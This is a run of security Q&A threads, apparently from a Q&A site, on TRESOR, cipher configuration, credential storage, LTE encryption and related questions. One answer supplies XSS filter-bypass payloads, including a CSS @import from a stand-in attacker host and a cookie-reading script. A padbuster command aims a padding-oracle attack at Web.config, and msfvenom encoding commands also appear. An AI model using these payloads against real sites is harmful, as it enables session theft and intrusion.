The TRESOR project aims at doing encryption and decryption by keeping the keys in the CPU registers, and not allowing these registers to be flushed to RAM. This is for defence against cold boot attacks, in which attackers can take a good view at the whole RAM contents but not at the CPU registers as they were prior to the attack. It has been noted that attackers that can do DMA can inject malicious code that extracts the keys from the registers, so the protection cannot be considered as complete in that case.

An important point to consider is that you use disk encryption to keep the confidentiality of your data -- but when you access your data, you still pull it into RAM in order to process it. For instance, if you look at the contents of some text document, then, when you look at it, the document data necessarily exists unencrypted in the viewer application space, and the graphic card memory as well. Protecting the encryption key is all fine, but if the attacker is assumed to be able to read your RAM then he may plunder the data directly. Therefore, concentrating on the whereabouts of the encryption key without addressing the larger picture of the data kind of misses the point. In most practical contexts, it does not make a lot of sense to worry about cold boot attacks retrieving the disk encryption key -- even with all the TRESORs in the world, cold boot attacks would still be almost as worrisome.


How do I know the host computer turn on or turn off? I am using a client computer that is connected to a modem via a LAN cable which is in a neighboring house as far as about 50 meters. The host computer is there. The host computer is only using Internet Connection Sharing (without a router) to share its Internet connection with me. Within this network there are only two computers, the one I use (as client) in my house and the other one is the host computer as I mentioned earlier.

How do I know that the host computer is being turned on or off?

The purpose is to know so that I can use all the bandwidth from the modem when the host computer is not turn on. Because there are no restrictions on bandwidth from the host computer, and I just wanted to use all the available bandwidth only when the host computer is not turned on.

Both computers use Windows 7.

If you're connected directly to the Modem (Given that is provided by the ISP) in most countries it works as a router (Layer 3, 2 and 1 device) meaning that it redirects traffic and it's the gateway of your LAN to the WAN.

If you got a 192.168.1.1 IP this means the modem is NATing, so it's most likely you're both on the same network. Assuming that the firewall is on default settings, the host computer should be able to reply ICMP (ping / echo request), so just figure out his IP, either by actually asking your neighbor and pinging it, or doing a ping sweep with tools like Nmap or Angry Ip Scanner and if it times-out, it's off, if it replies, it's on.

READ THIS: PING SWEEP DISCLAIMER


New gTLDs are coming. How will browsers handle cookies, SOP and certificates? Given that the security "zone" varies based on the TLD, how will the new TLS be handled?

For example: A browser may permit cookies to be shared and SSL certificates, and wildcard certificates

company.com   ( two layers deep)
company.co.uk ( three layers deep)
local         ( one layer deep)

However cookies, cross site requests and more are banned by browsers as they all apply too broadly to TLDs

*.com  (two layers deep)
*.co.uk  (three layers deep)

Question:

With the new proposed TLDs, what will the new security scope be for both wildcard certificates, and SOP?  Where is this published?
Is it expected that SOP and the scope of wildcard certificates to be equal?
Are there any other concerns besides SSL certificates and SOP that applies to cookies, cross site requests, javascript, localstorage, Flash, etc?

Update:

Since there is no chance of every CA supporting the same policy when issuing certificates, and SOP is really dependant on all the browsers getting a consensus, how will browsers handle this?

SOP and wildcard certificates are orthogonal issues. SOP works on the names as found in URL, and don't care about what appeared in any certificate which may or may not have been involved at some point. If a script came from a URL in https://foo.example.com/ then https://bar.example.com/ will be considered as a distinct "origin", even if both use the same certificate with both foo.example.com and bar.example.com in it (or, equivalently, a wildcard name *.example.com).

Existing browsers use ill-documented restrictive rules on what wildcard names are allowed. See, for instance, this previous question. One frequent rule is that first-level and second-level wildcards are not allowed (so no *.com); new TLDs will not change anything to that. The tricky part is for "two-level" names which functionally act like TLDs, e.g. co.uk. The new TLDs are, for a large part, a way to avoid such two-level pseudo-TLDs, so it is expected that this will incur less trouble, not more.

All these games about wildcard certificates are only for SSL/TLS and have no impact at the HTTP level; SOP, cookies... don't care about wildcard names.

(Unless a browser vendor gets really creative, as they sometimes do.)


Data Encryption and Key Management in C# Which route to take, what are the pros and cons, which is more secure..

Generate AES key, encrypt the data with it and then encrypt the AES key with RSA, save the encrypted data and encrypted AES key to a file and RSA keypair to a KeyContainer.
Or use DPAPI ProtectedData class to encrypt the data and save it to a file and then store the entropy what I used with ProtectedData.Protect() to somewhere.. (maybe also encrypt it with the RSA, store the RSA keypair to KeyContainer and the encrypted entropy to the file with the data?)

Though you can probably get stronger encryption when you choose the algorithms yourself (DPAPI used to use 3DES, dont know if thats still the case in 7), the weakest part of your crypto-system will almost always be the key management. (assuming you use decent algorithms, and even 3DES is not completely broken).

Using DPAPI means you dont have to worry about key management at all (other than protecting your key with DPAPI in the first place). I'm sure @Thomas will jump in with a detailed response, but typically my answer would be to go with DPAPI.


System to verify personal information without revealing I'm working on a way to verify personal information for tax receipt generation on behalf of an NGO.

I need to verify the following information:

Full Name
Mailing Address
Phone Number
E-mail

People involved with the NGO also have a unique ID, but they may or may not know it.

How would I build a system that lets a person verify that our record is correct, but does not allow a random user to login and scrap for user info?

Since this information is not obtained online, I have no way to know if any of our record is correct.  I don't have a solid way of letting an individual know what our existing record is.  Just the other day I found a record with e-mail address of somebody@y.c which is not remotely valid (no y.c TLD exists).

One way I thought of was, using Phone Number, E-mail, or their unique ID, I use their input to provide 10 sets of personal information, generated via an algorithm based on a seed (to prevent reloading the page and getting different results), with one of them being their record (if it exists), and they pick the one that's most correct, and then they are prompted to provide any changes.

I would like a more industry standard of doing this, but I have no idea how to look.

It's hard to prove a practice is industry standard, but I will present some scenarios I have come across.

Let's look at some of your constraints:

The users should be presented only with their own PII when using the system
Users should not be able to search for other users' PII
Users do not necessarily know or remember the ID (key) they have been assigned

Your scenario of 10 randomly permutted profile info doesn't look acceptable, especially if it reveals actual PII without authentication -- someone knowing the person will recognise it, for example, or they may validate a profile is real by cross-referencing against other leaked PII databases. It may well break data protection regulations.

It sounds like your organisation already provisioned users accounts to store their PII and keyed it with a globally unique ID. You will need to come up with an authentication system that will help your users to log in and access their provisioned information. This system should allow a variety of authentication scenarios since not all users will be able to use their assigned ID.

Log in using the globally unique ID

This is a common scenario with organisations, however not necessarily the easiest. Typically, before the user interacts for the first time with the online platform, the organisation will most probably have been in touch with them through other means.

If your organisation is in communication with the user through any means (e.g. email, or postal mail), it may be a good idea to proactively specify the globally unique ID, for example as a header, as this should help with the "forgetting the ID" problem. Knowing this information, the user should be able to request a temporary password being sent through the same channel to claim the provisioned account.

The claiming process may include verifying the PII.

Log in using an email or a telephone number

Now, supposing that the users don't know their assigned globally unique ID, they should however know their own email address or phone number.

If a user inputs their phone number or email, you can search and match that against the database. If there is a match (i.e. the offline data gathering and digital entry worked without error), then you may send a temporary password to that same email address or phone number (e.g. as a text). It should be a safe bet to assume that they are personally in control of the email or phone number they have just entered in the system. The user may then enter this temporary password and proceed to verify and claim their user account.

You should not acknowledge any of the email address or phone number exist or don't exist in your database, however, and instead simply state an action would been taken should the entry be valid.

Some more thoughts

Now I understand I talked about "claiming a user account". I accept it can be a barrier for some users to create or otherwise possess yet again another user account and remember yet again another password, especially for something they'd log onto at most once a year. You may gauge the difficulty of requiring they set up a personal password to claim the account, but in the long run this may be beneficial -- I think the claiming process is more cumbersome than "normal" user account management, not to mention less secure.

Please note you would perhaps have to also think about a user support procedure, and hence a phone or other verification procedure.

On "temporary" passwords: you should decide if they need to be limited in time or if they'd only be deactivated once used the first time (one-time passwords).

I have also seen a process using the name and postal address as a form of identification, and the password would be sent in a letter at this address. Now I'm a bit less comfortable with this one, as it would require a manual intervention on the NGO side to assess the validity of the request -- the known name and address may differ with the information specified in the password request, so an operator should manually check if they plausibly match (i.e. different formatting, accents, etc...). This is open to human error, so I'm not recommending it, unless you have the resources and manpower to ensure it.


Server negotiated HTTP/2 with blacklisted suite I understand there are quite a few posts regarding my error message, and I have looked at them with no luck to resolving my own issue.
Essentially, certain web browsers are unable to load my site because of the following blacklisted suites

Server negotiated HTTP/2 with blacklisted suite
TLS_RSA_WITH_AES_256_CBC_SHA
TLS_RSA_WITH_AES_256_GCM_SHA384

My Nginx configurations contain the following
ssl_protocols TLSv1 TLSv1.1 TLSv1.2;
ssl_ciphers HIGH:!DH:!ECDH:!CAMELLIA:!SRP:!PSK:!MD5:!KRB5;

What needs to be changed in my ssl_ciphers? Or, what resources can I look into that will give me a direction?

These suits included in the list of ciphersuites prohibited by HTTP/2 defined in RFC 7540.

Since AES-GCM and RSA still enjoy a good reputation, the remaining weakness of the second suite is that it doesn't offer forward-secrecy.

The specification confirms this:

  This list includes those cipher suites that do not offer an ephemeral key exchange [this rules out both of your suites] and those that are based on the TLS null, stream, or block cipher type [this rules out TLS_RSA_WITH_AES_256_CBC_SHA]

In your config string I see !DH and more importantly !ECDH which disables all kinds of Diffie-Hellman suites, including ephemeral Diffie-Hellman, which are the way SSL achieves forward secrecy.

  ECDH

  cipher suites using ECDH key exchange, including anonymous, ephemeral and fixed ECDH.

Thus the fix is to allow ephemeral elliptic curve Diffie-Hellman (ECDHE)


How simple a password could be when the only account data is the email address? I have a case where the only data stored on the user account is his email address. My client wants to avoid complicated passwords because the audience is young.
Some of my colleagues still want to apply good security rules for the password. But anyway the login requires the email address/password combination (no username).

I mean: what are the benefits to highly secure an account which contains only the user's email address when the user needs to provide his email address to login anyway?

Thanks for your thoughts!
Marion.

Perhaps the best way to think about this is, if an unauthorized user figured out a username and password and logged in, how bad would it be? If your statement is true:

  the only data stored on the user account is his email address.

then this implies that once you are logged in, the entire site is read-only. In other words, authenticating gives you access to certain content that is otherwise not available to the public. If that content became public, would you lose sleep over it? If not, then it probably isn't a big deal from a security standpoint of your site to allow simple passwords, since you have nothing to protect.

That being said, here are some reasons you shouldn't allow easy passwords even if it meets the above criteria:

Above I specifically emphasized the security "of your site" because your site may be safe, but you also want to protect your users. If an attacker is able to guess a user's easy password, they have possibly learned something about the user. Perhaps the person uses that same password on another website, or as the password for their phone, etc. This information in the hands of an attacker could potentially harm the user. Note you can get around this problem by creating passwords for them instead of letting them choose their own.
If an attacker doesn't know any email addresses, having simple passwords makes it easier to guess an email/password combination, and thus discovering email addresses. (This is the exact reason why website login errors should not say "The email address was not found", but rather, "The email/password combination was not found". You want to protect against attackers trying to mine emails.)
What if in the future you decide to add functionality to the website? For example, you may want to allow people to post comments or "like" something. Then you would be storing data specific to a person and you'd have more to protect, and it could be a hassle to change your password system once the site is rolled out and used by many people.

In summary, I agree with crovers. I'd also recommend using strong passwords or a different authentication method.


Metasploit x86/unicode_upper failed with "An encoding exception occurred" I'am playing a bit with assembler and I decided to test out how metasploit encodes a payload into Unicode uppercase characters as assembly instructions which are meant to be decoded by itself. So I have written simple shell code consisting of 10 nops and a ret. I placed it into a file 1.payload.
I'm using metasploit:

Framework: 4.17.4-dev-4744fb01d9c4234a60c35dc78b9a8710fc19fa01
Console  : 4.17.4-dev-4744fb01d9c4234a60c35dc78b9a8710fc19fa01

on Windows 10.

I tried to encode my payload like this (from cmd.exe):

msfvenom -a x86 --platform windows -p generic/custom PAYLOADFILE=c:\test\1.payload -e x86/unicode_upper -o c:/out/encoded.bin

And I get this error:

Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/unicode_upper
x86/unicode_upper failed with An encoding exception occurred.
Error: An encoding exception occurred.

I do not have any zero bytes in my "payload" it's just 10 nop instructions, and a ret instruction. The encoder for alphs works fine but for some reason it generates weird non-Latin characters at the beginning of the output. Can someone help, do I use it right? How can I encode my x86 assembler payload in Unicode uppercase instructions?

A workaround for it is to leave off the encoder selector -e x86/unicode_upper. Thus, the msfvenom will try some encoders up they find some that work with the corresponding bad characters.


Cross Site Scripting without special chars I'm testing a web application and I found a XSS vulnerability. I can break a tag and inject some code to the application but nothing potentialy dangerous for the client.

The application has a filter wich detects special characters and some strings, as well I can bypass the filter for the string recognition injecting null values (< scr%00ipt> ) between its chars, but I can't figure out how to bypass it for a single character.

Allowed chars: :  / & @ - { } < > \ . , ' "
Disallowed chars: = ( ) # ;

The filter does not use character conversion and when something disallowed is detected it displays an error message: Invalid Parameters detected

Maybe I'm missing something but today I don't see how to execute javascript under this conditions. Any idea?

Yes, this is possible. There's a trick you can do with onerror:

<img src=x onerror=eval;throw'=alert\x281\x29';>

The throw generates a JavaScript string which is then passed back into eval because the throw constitutes an error. This gives you full arbitrary JavaScript injection.

OK, so you say we can't use an equals sign. Instead, I suggest this trick:

"><style>@import'http://evil.example.com/xss.css';</style>

This includes a 3rd party CSS file into the page. From there you can launch JavaScript:

body {
    background-image: url('javascript:alert(document.cookie);')
}

There are also other tricks you can use to gain JavaScript execution from CSS.


HTTPS connection to specific sites fail with cURL on macOS On my Mac, HTTPS connnections to certain sites fail using the built-in curl binary of macOS 10.14. They work fine with different browsers, as well as other builds of cURL on the same system. One of the affected sites is https://kapeli.com/, the download site for the utility "Dash". Another one is https://electroncash.org.

cURL complains about an expired certificate:

curl: (60) SSL certificate problem: certificate has expired
More details here: https://curl.haxx.se/docs/sslcerts.html

I encountered this during installations with Homebrew-Cask, which uses macOS' built-in cURL to download software.

Root CA certificates used by the mentioned sites (Comodo and USERTrust) have expired this morning (UTC time). While I find it remarkable that two different Root CA certs would expire at the exact same second, this may be explained by USERTrust being affiliated with Comodo (now Sectigo).

Edit: These two actually never were Root CA certificates, but rather intermediate CAs signed by "AddTrust External CA Root". Therefore, their expiration date was determined by the validity of the "AddTrust External CA Root" certificate, which also happens to have expired at the exact same second.

Now, updated certificates (sharing their private keys with the expired ones) have been issued back in 2010 (Comodo, USERTrust). These certificates are part of the common Root CA stores these days (including Apple's system trust store), therefore browsers establish the connections perfectly fine. The same is true for most variants of cURL (e.g. from MacPorts or Homebrew), which are built against custom OpenSSL installations.

The built-in cURL variant of macOS 10.14 is built against LibreSSL and uses /etc/ssl/cert.pem as its Root CA store, which also includes the new certificates. However, something appears to causing cURL or LibreSSL to prefer the old certificates for its validity check. I suppose cURL is at least somewhat involved in the problem, since I couldn't get the connections to fail using /usr/bin/openssl s_client (/usr/bin/openssl is actually built from LibreSSL).

My hypothesis would be that the problem is caused by the sites sending the expired Root CA certificate as part of their certificate chain. Including the Root CA in such chains is allowed, but not required, and in this case appears to break certificate validation.

Edit: This is part of a series of issues around the "AddTrust External CA Root" expiration. See this blog post by Andrew Ayer or this Twitter thread by Ryan Sleevi for the bigger picture. Ryan Sleevi also has a collection of things failing due to the expiration.

On macOS 10.15, where cURL uses OpenSSL 0.9.8 by default, the issue apparently may be mitigated by setting the environment variable CURL_SSL_BACKEND=secure-transport. This does not work on 10.14 with its LibreSSL which, according to Christian Heimes, is affected by the issue in general.


Can malware be transferred from an Android device to a Desktop computer? I am curious if it's possible for Malware to be transferred from an Android device to a Desktop Computer.

In my situation I had detected malware on my android device via Lookout, and promptly deleted the infected app; however I had already opened the app by the time of malware detection.  There was no malware found on the device after deleting the app(according to Lookout), but I am skeptical that it's just "gone."  There was no weird popups or sms spam or anything, so not sure if it's just a background malware, or if it really is gone.

I was looking at these questions.

Does it matter which platform a file is scanned on for malware?

Known windows malware propagated via unmounted iPhone

which from the Iphone question it seems that people say you cannot transfer malware via an Iphone, but what about an Android device?

The first link says that known AV programs will detect malware from other devices, so I would assume if it was in my Android device, I would have detected it while connected to my Desktop computer(s)?

Essentially, I'm looking to make sure that if malware had infected my device, that I had not transferred it to one of my desktop computers, or that it didn't infect my SD drive, which could infect the desktop computer, or even another phone.

Your question basically boils down to, is it possible for any compromised device to infect other devices?

To which the only real answer is yes, it is possible. Unlikely perhaps, but possible.

Also, there is really no way of truly knowing if a device has been compromised, antivirus scan or not.


How can I create a service that automatically logs onto a third-party service without storing credentials in plain text? I know that storing log-in credentials in plain text is one of the cardinal no-nos of security, but I'm working on something where I can't think of any other solution.

My service connects to a user's e-mail via IMAP. In order to connect to the e-mail server, my service has to know the log-in credentials of the user's e-mail account.

Normally, I would use some sort of encryption or hashing mechanism to store user credentials in the database, but since hashes are (supposed to be) one-way, I can't log in to the e-mail server with the hashed credentials.

How can I create a secure system for my service if the user has to have credentials to connect to a third-party system as well as my system?

You will need to store the user's email password in a recoverable form.  You can still encrypt the passwords, but you cannot hash them.

Storing your users' passwords in recoverable form does entail some security risks.  If the database of user passwords is ever leaked, you've got a serious security breach.  However, that's just the nature of your service.  People normally recommend hashing to try to mitigate this risk, but since you can't use password hashing in your particular application, you'll have to use other measures to mitigate the risk.

Here is my recommendation for how to do it in as secure a way as possible.  Set up a separate machine (or VM) that is used solely for the purposes of managing email passwords.  It runs a service -- let's call it the password-keeper service -- that exposes a few simple APIs:

Register IMAP account.  The caller provides information about an email account: e.g., the username and password.  Your password-keeper service stores this information.
Read email.  The caller identifies an IMAP account that was previously registered with your service.  Your password-keeper service looks up the username and password for that IMAP account, connects to the IMAP server and authenticates to it, downloads any new email, and returns the desired email messages to the caller.

This password-keeper service is like a Hotel California for email passwords: passwords go in, but they never leave.  The password-keeper service is responsible for storing passwords as securely as possible, and never exposing them to others.  It might store the passwords in a separate database, encrypted under a special key.  The encryption key might be stored in a configuration file that is accessible to this service, but not to anyone else.  The password-keeper service can now control access to your users' email accounts.  For example, it can perform secure logging (so you can track down intrusions), rate-limiting (to reduce the impact of a breach of your other systems), or other protections.  You can also lock down who or what can access it.

Now, write the rest of your system to be a client of the password-keeper service.  Configure the password-keeper service so it is only accessible to your code (and not to the public), and use strong authentication for your code's connection to it.  Make sure that you never store users' email passwords anywhere else in your system.  When the user supplies an email password to your application, you should immediately invoke the password-keeper service's "Register IMAP account" API, pass it the password, and delete all other copies of the password.

This will not provide perfect protection, but it gives you a place to stand: a way to get as much protection as possible, for your users' passwords.  With this kind of approach and some diligence, I think you can provide a reasonable level of security to your users.


Storing Client Data for next page? I have a little project for authentication and I need to store an encryption key on website B which I get from the server on website A, but the server from website B should not be able to read it.
Is this possible without a browser extension? How would something like this be implemented?
I guess the broader question is: How do I store data from website A on website B without sending the data to server B?
If this is not enough: Before I get to website A in the first place I will be redirected from website B anyway.
I could do the following in this setting:

create a temporary public/private key pair,
store the private key in sessionStorage on website B,
send the public key to server A on the redirect from website B
use the public key to encrypt the userKey
send the encrypted userKey to server B on the redirect from website A to website B
deliver the encrypted Data to the client on website B
decrypt it on the client with the key from sessionStorage

It feels like there should be a more simple solution though ..
Note: I trust the javascript code from website B but not the code on server B (as this will not be open to the public).

So, first things first, your last sentence is self-contradictory. If you don't trust the server for site B, you can't and mustn't trust any content from B, including scripts. If B is malicious or compromised, when you visit B you will get either an altered script that does something malicious, or just get an extra script that tacks malicious behavior onto the normal operations. For example, the malicious code could trivially retrieve the secret after you decrypt it, or just retrieve the secret and its decryption key directly.
What you're trying to do is impossible.

With that said, if you have some way to ensure that the client code is trustworthy - perhaps the page and all of its scripts are loaded from a browser extension or local app, rather than from the server - this is pretty easy.
The simplest approach would be to use CORS. A script on B would make an authenticated cross-origin request (using XHR or Fetch) to A, requesting the data. The server at A would check that the user is authorized, and return the appropriate data, along with the Access-Control-Allow-Origin: B and Access-Control-Allow-Credentials: true headers necessary for the script to see the response.
Slightly more complicatedly, you could do this using the Window.postMessage API. You'd create a listener for window messages in a script on B, and then open a window (iframe, popup, maybe even separate tab) to a page on A. The page on A would have (or retrieve) the secret, and then call postMessage to send it to B.
In both cases, the secret never actually hits the server at B - it's entirely client-side, and could be stored in local storage or whatever might be needed on B - but of course you have to trust that the code on B isn't going to just make a same-origin XHR or Fetch to send the secret down to the server (or something similarly unfortunate). As mentioned above, if you can't trust the server at B, you can't trust any code that runs on B's origin (unless, somehow, none of that code actually comes from the server and you can be sure of that).


How is 4G LTE encrypted? After a few quick searches for 3G security I was able to learn that this standard uses the KASUMI block cipher, of which several weaknesses have been identified (although apparently none of practical use in decrypting 3G traffic?). Anyway, this made me curious - what kinds of security measures are in place for 4G LTE?

Information regarding the current implementation of "4G" LTE, as well as the soon to be deployed true 4G LTE-A, can be found at the European Telecommunications Standards Institute (ETSI) website and portal.

3G networks use the KASUMI block cipher with the UEA1 confidentiality and UIA1 integrity algorithms. As you said, there have been several demonstrated weaknesses, which has prompted the use of a new cipher / algorithm.

The 4G LTE successor is the SNOW 3G stream cipher and the UEA2 confidentiality and UIA2 integrity algorithms. To quote the specs page:

  SNOW 3G is a word-oriented stream cipher that generates a sequence of
  32-bit words under the control of a 128-bit key and a 128-bit
  initialisation variable. These words can be used to mask the
  plaintext. First a key initialisation is performed, i.e. the cipher is
  clocked without producing output, see 4.1. Then with every clock tick
  it produces a 32-bit word of output.


Winrar encryption/decryption Veracrypt RAM recovery Question 1:

If you open a password protected rar archive, enter the correct password,  and then doubleclick (open) a textfile in to read the content:

is it in reality in the background written to the disk in some cache directory OR does everything stay in the RAM?

Example: User sometimes views a textfile (for example with his sensitive passwords) in a password protected rar archive. Then his laptop gets stolen. Although the attacker does not known the password to the rar file, he could still view the textfile with some recovery tools, because winrar temporarely wrote it to the disk to view it? So he could recover it?

Question 2:

Is a container with Veracrypt any different? Does it 100% stay in RAM there?

Thank you in advance for your answers!

Short answer: there are no guarantees that it will be "100% in RAM" in any case.

Long answer:

With RAR/ZIP/7Zip you usually have to extract file to a temp folder to open it with another application. This is how passing files works (in Windows, and many other OSes). So, it is always extracted to some kind of temp storage. Worse yet, even if you drag&dropped it in windows, it will still go to a temp directory first, only then windows will copy it to where you wanted it to go (drag&drop doesn't tell application where the file has to go, only that is has to go [except for windows explorer, it does things without temp]).

With Veracrypt, it does decryption on fly, system doesn't see any kind of encryption. But this doesn't give you any guarantees. System can be low on RAM and decide that some pages that contain unencrypted data can go to swap. So unless your swap is encrypted too, you have no guarantees. But if you use application that has this unencrypted data, chances are system won't write that data to swap. For OS, all storage mediums are equal, it won't care that it saves data from encrypted volume to unencrypted volume.


Question about padbuster ... newbie New to this type of attack trying to understand this .net oracle padding attack, i'm using this data :

padbuster https://victim.org/ScriptResource.axd?d=EkIw9i8hChjP_nuqGrT3s8rxntkAiG3TGimvybqMf__tcw10GCO0odSOA1XbLy49N6SbB7O3zkdZuSKdG8IJgRcjH0myrb2kCR0Epem-HDIB7vYIUr_71uvYarEEFTV6Szv50Wpsr0A0218420DiUU1D4-NcTi4zxgAJaW8owIQ1 EkIw9i8hChjP_nuqGrT3s8rxntkAiG3TGimvybqMf__tcw10GCO0odSOA1XbLy49N6SbB7O3zkdZuSKdG8IJgRcjH0myrb2kCR0Epem-HDIB7vYIUr_71uvYarEEFTV6Szv50Wpsr0A0218420DiUU1D4-NcTi4zxgAJaW8owIQ1 -plaintext "|||~/Web.config" 16

And i see this error:

+-------------------------------------------+
| PadBuster - v0.3.3                        |
| Brian Holyfield - Gotham Digital Science  |
| labs@gdssecurity.com                      |
+-------------------------------------------+

ERROR: Encrypted Bytes must be evenly divisible by Block Size (16)
       Encrypted sample length is 124. Double check the Encoding and Block Size.

I'm doing something wrong ? or what is the correct block size 124 ??

The block size has to match the block size used by the server. Hence specifying 2 won't work, the sample size may be divisible by it, but it won't match the actual block size. Judging by the sample length alone I suspect it is not vulnerable.


What would be the application-level equivalent of dynamic communication secrets? I'm probably just thick and sufficiently new to security related issues in software development, but since I can't find information and I've been stuck on Googling this for a while.

Recently I came across a book, Dynamic Secrets in Communication Security (also available in Amazon) and now wonder, if this technique has an equivalent in socket programming? There's also the paper Creating Shared Secrets out of Thin Air that has a good description on the idea.

Briefly, as I understand it, the idea is to dynamically generate communication secrets based on transmission properties in wireless channels (e.g. faults) that are difficult for an adversary to guess, if it's not present in many places of the wireless transmission medium. Thus the communication channel would be secure, even if the adversary had a great deal of computation power at disposal. This would also allow the participating parties to detected if the traffic has been hijacked.

Is there a known method to generate dynamic secrets based on e.g. every message exchanged, and gain such a security as to detect traffic hijacking and make the communications resistant to even an adversary with a lot of computational power? I'm not after Diffie-Hellman, since it's applied only on initiation, but maybe something like IPSec Encapsulating Security Payload?

The second article (Safaka et al) describes a protocol which is based on a roughly similar to the Cachin-Maurer protocol that I describe at the end of this answer. The premise is that there is a broadcast unreliable communication channels between the involved parties, so that when one party emits a list of "packets", all others see only some of the packets, and not all of them see the same packets. So Alice and Bob, wishing to establish a shared secret, just have to emit a lot of packets, record what they receive, and then tell each other which packet they received (packets being referenced by some conventional ID). With high probability, the attacker could not see all the packets which both Alice and Bob recorded, so the concatenation of all packets, suitably hashed, is a good shared key.

In the Cachin-Maurer protocol, the broadcast is from a high-bandwidth random source, and the unreliability of reception is due to the impossibility of recording all of the data, because of the sheer size of it. In the Safaka protocol, the transport medium is assumed to be unreliable, which is a bit optimistic because the attacker may invest in a good antenna, something much better at picking up radio waves than the basic WiFi adapters of honest people.

Transporting that principle to application level looks hard because the really basic characteristic of the "application level", the reason why we call it "application", is its inherent reliability. For instance, raw IP packets are unreliable: they can get lost, duplicated, sometimes altered (I have seen it: a Cisco router with bad RAM), and arrive out of order. However, the first thing applications do is to apply TCP, which brings reliability (through acknowledges and re-emissions). When transport is reliable, it is reliable for everybody, including the attacker.

This is a generic trend: the kind of key exchange protocol we are talking about must rely on some physical process which enforces some unpredictability; in the Safaka protocol, the physical process is radio noise disrupting reception of some packets. The computer world, on the other hand, is mathematical rather than physical: it lives and strives in an abstract world where a bit is a bit and does not flip randomly. Indeed, when a RAM bit is flipped (this is said to occur about once every three months on average for a given machine, because of cosmic rays), the machine can crash, depending on where the said bit was. The whole principle of computerization is to run away from the physical world and keep it as far away as possible. This inherently prevents efficient usage of Safaka-like protocols, and even more so when we go higher up the layer stack, i.e. "at application level", as you put it.

A secondary point to make is that these protocols are key exchange, not authentication. They may provide security only against passive-only attackers, who observe but do not interfere. This is not a realistic assumption nowadays. A lot of network attacks involve positive actions from attackers; and some low-power attackers can be described as "active-only": it is often a lot easier to send fake packets to a server than to eavesdrop on packets between a server and an honest client.

Thus, some authentication is needed: you don't want to exchange a key in general, but a key with a specific client or server. To do that, you need some authentication mechanism which happens sufficiently early in the process, e.g. with public keys or some PAKE, and you are back to "normal cryptography", making the Safaka-like protocols rather pointless.


Is Opera on Android Causing a Vuln? I decided to check out my home through the BullGuard IOT Scanner.  I used my Android phone and the Opera browser, and it came up that I was vulnerable:  ports 22, 8090, 8098, and 9100 were all reported as "public," via Shodan.

I then opened my laptop and checked it, and it came up as "Not Public."  Then I turned on my phone's WiFi hotspot, and checked my laptop again through the phone.  "Not Public."

Then I checked again from my phone, this time using Firefox.  "Not Public."  However, when I checked again using Opera I got the same results as the first time.  So the only time I showed up as "public" was when using Opera on my phone.

Is Opera unnecessarily exposing me when I use it?  Should I dump Opera?  Or is there a legitimate explanation for this?

Re: Hax's questions

The phone uses IPv4, but the laptop uses IPv6. I think the router prefers IPv6, but I'm not clear on the whole v4/v6 thing.  When I check my IP with the phone I get a v4 response, and a v6 from my laptop.
Everything was done on my WiFi network, which is behind the firewall on the router.  I run my own home VPN, so I definitely have ports forwarded; however, they aren't any of the ports that BullGuard detected.  I have the VPN set up with PKI and an HMAC key, and I don't use 22 for SSH.

Re:  Franz - I know that Opera offers a free VPN, but I think it requires a separate program.  It may be that their browser is listening on those ports (but why not 1194?) just in case, but how is the scanner seeing those ports when they're located BEHIND the firewall?

Everything is behind a firewall for these tests, so how can the scanner see open ports for one device operating behind the firewall and not the others, and then only for one program?

I'm not familiar with Shodan or nmap, but I'll explore your suggestions.  (Edit: Shodan returned no results for my home IPv4). I don't see how this is an issue with the Comcast router, but the GRC Shields Up scan reports a ping response from those ports, as well as some other random higher-numbered ports their standard scan doesn't check. I put my phone in airplane mode, but the results remained constant.  There is nothing in the router settings indicating that any ports are open except for those I've manually opened.  But even if the router is partially to blame, why does Opera fail and both Firefox and Chrome pass (on the phone), and the laptop passes?

Your little experiment and the inferences are actually inconclusive.

Verify if you are using IPV4 or IPV6. [ You can do this by checking your public IP in any of the websites for that. ]
If you are using IPV6, it is likely that the ports listed open are exposed to public network.
If you are using IPV4, your devices are likely to be behind NAT. In that case your public IP is the IP address of your router. The router will have open ports only if the administrative interfaces of router are configured so, or if port forwarding is enabled for specific services. So it is very likely that the exposure is not because of your phone, but because of a misconfigured router.

To verify this manually, do the following.

Search in shodan.io with your public IP
Note down the results. Do an nmap scan on your own network from another network.
Verify if port forwarding is on.

PS: If you can give information specific to the model of router you have, I might be able to provide some help regarding the configuration.


Shortening Diffie Hellman key size through pbkdf? I have following requirement for software I'm working on:

Use strong asymmetric key exchange with public key size <16 bytes.

I know it is pretty hard for this amount of bytes, but I've came up with following solution and wanted some feedback:

Use Diffie Hellman Key Exchange algorithm with P (prime modulus) parameter <2^128,
and then use some key derivation algorithm like pbkdf2 on generated shared secret to generate much stronger symmetric key, and use this key to encrypt any data passed.

I want to know if this will improve safety of such protocol compared to simple Diffie Hellman over 2^128.

I don't think this is a good idea.

The problem in Diffie-Hellman key exchange is not the size of the generated key (this can be as big as required), but the need to authenticate one side to avoid man-in-the-middle attacks.

And this is the reason to have a public-key component at all - without this, DH could even work anonymously (and works, if you have only passive attackers to fear).

So, my idea would be to use standard (big-modulus) Diffie-Hellman, and authenticate the result with a public-key signature.

But then the problem with small asymmetric public keys is that it is not that hard to derive the corresponding private key from them (in the RSA case, factoring the modulus, in the DSA or Diffie-Hellman case: solving a discrete logarithm).

This needs to be done only once (for each key), and then the attacker can play man-in-the-middle for every following session authenticated with this key.

(Removed the last paragraph about ECC, since it was not really thought through, and I'm now to tired to do it right.)


How does wifi-based geolocation work? Looking at the Google geolocation API it claims:

  Geolocation API returns a location and accuracy radius based on
  information about cell towers and WiFi nodes that the mobile client
  can detect.

Assuming a phone is in airplane mode or has no sim card and thus cannot connect to cell towers, and assuming that GPS is also disabled, how can a phone determine its location based off of only the wifi networks in range?

Is Google using the collected data from street view wifi MAC addresses, and combining it with the GPS from the street view van? would this correlation data be stored on the phone, or downloaded as-needed via a data connection? or does this only work with known wifi networks? is it based off of the MAC address or the wifi network name?

Is this Google-specific or are there other API's/companies that can do this (and not rely on Google as their back-end?)

Google have a list containing the MAC addresses and all the towers on a determined location. He can collect that data not only by the street view car, but from Android phones as well.

It's easy (for Google) to know the GPS coordinates of every cellphone tower on a city (or country), so correlating it with the data your phone sends is enough to get a very good idea of where you are.

Google already have a database (more or less) like this:

coordinates:tower coverage:MAC address

So, if you locate one MAC address on the list, you have the coordinates and the cell towers close to it.

Later, even if you have the cell phone disabled, your phone can connect using wifi, pass the MAC of the access point to Google, Google searchs its huge database, finds the MAC, and gets your coordinates.


